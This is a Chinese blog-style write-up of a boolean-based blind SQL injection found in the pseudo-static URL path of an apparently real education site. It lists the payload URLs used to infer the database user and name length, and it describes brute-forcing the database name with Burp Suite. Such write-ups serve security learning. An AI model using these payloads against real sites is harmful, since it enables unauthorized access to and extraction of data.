干货!一次伪静态页面的SQL注入!白帽黑客实战 。

涉及技能点

  • SQL注入基础原理

  • 盲注常用函数及思路

  • burpsuite基础知识

过程记录

1.发现

在翻阅一EDU站点时,发现路径中带有明显的数字参数

干货!一次伪静态页面的SQL注入!白帽黑客实战 。_第1张图片

好像与我们平时习惯的xxx.php?id=不同呃

2.尝试注入

按照以往习惯,先用order by探探底,结果翻车了…应该有自定义逻辑在过滤敏感关键词。

干货!一次伪静态页面的SQL注入!白帽黑客实战 。_第2张图片

继续努力,峰回路转,耶~~~!

构造boolen等式时能够被带入查询语句并显示不同效果

当条件不符合时,71-false=71,显示71.html,无数据

http://EDU_SITE/.../..._id/71-false.html

=> SELECT ..FROM .. WHERE ... AND _id=71-false

干货!一次伪静态页面的SQL注入!白帽黑客实战 。_第3张图片

而当条件符合时,71-true=70,显示70.html,有数据

http://EDU_SITE/.../..._id/71-true.html

=> SELECT ..FROM .. WHERE ... AND _id=71-true

干货!一次伪静态页面的SQL注入!白帽黑客实战 。_第4张图片

3.确定攻击方式,获取数据进行验证

获取用户名长度

http://EDU_SITE/.../..._id/71-(length(user())=12).html

=> SELECT ..FROM .. WHERE ... AND _id=71-(length(user())=12)

干货!一次伪静态页面的SQL注入!白帽黑客实战 。_第5张图片

获取数据库长度

http://EDU_SITE/.../..._id/71-(length(database())=6).html

=> SELECT ..FROM .. WHERE ... AND _id=71-(length(database())=6)

干货!一次伪静态页面的SQL注入!白帽黑客实战 。_第6张图片


尝试用burpsuite的clusterboom模式对database进行爆破

其中参数1 为位数,参数2 为可能出现的字符明文

干货!一次伪静态页面的SQL注入!白帽黑客实战 。_第7张图片

干货!一次伪静态页面的SQL注入!白帽黑客实战 。_第8张图片

获得最终database()=db_cms

干货!一次伪静态页面的SQL注入!白帽黑客实战 。_第9张图片

总结


在尝试sql注入的时候,往往过分关注get传参或者post传参而忽略了URL中自带的注入点,有时候一些明显的数字型参数也能够带入payload

零基础从入门到挖漏洞,其实也没那么难更多的是找不到适合自己的学习路线,从而踩了不少坑,以及还未形成独立的渗透思维,不得入门,就算花再多时间也与你无缘。想要学好渗透,最主要的还得是在找到一套对自己有益的教程,打下牢固的基础,在学习、打靶场的过程中,拓展自己的思维,从而慢慢形成一套自己的渗透思维.

你可能感兴趣的:(sql,数据库,网络,网络安全)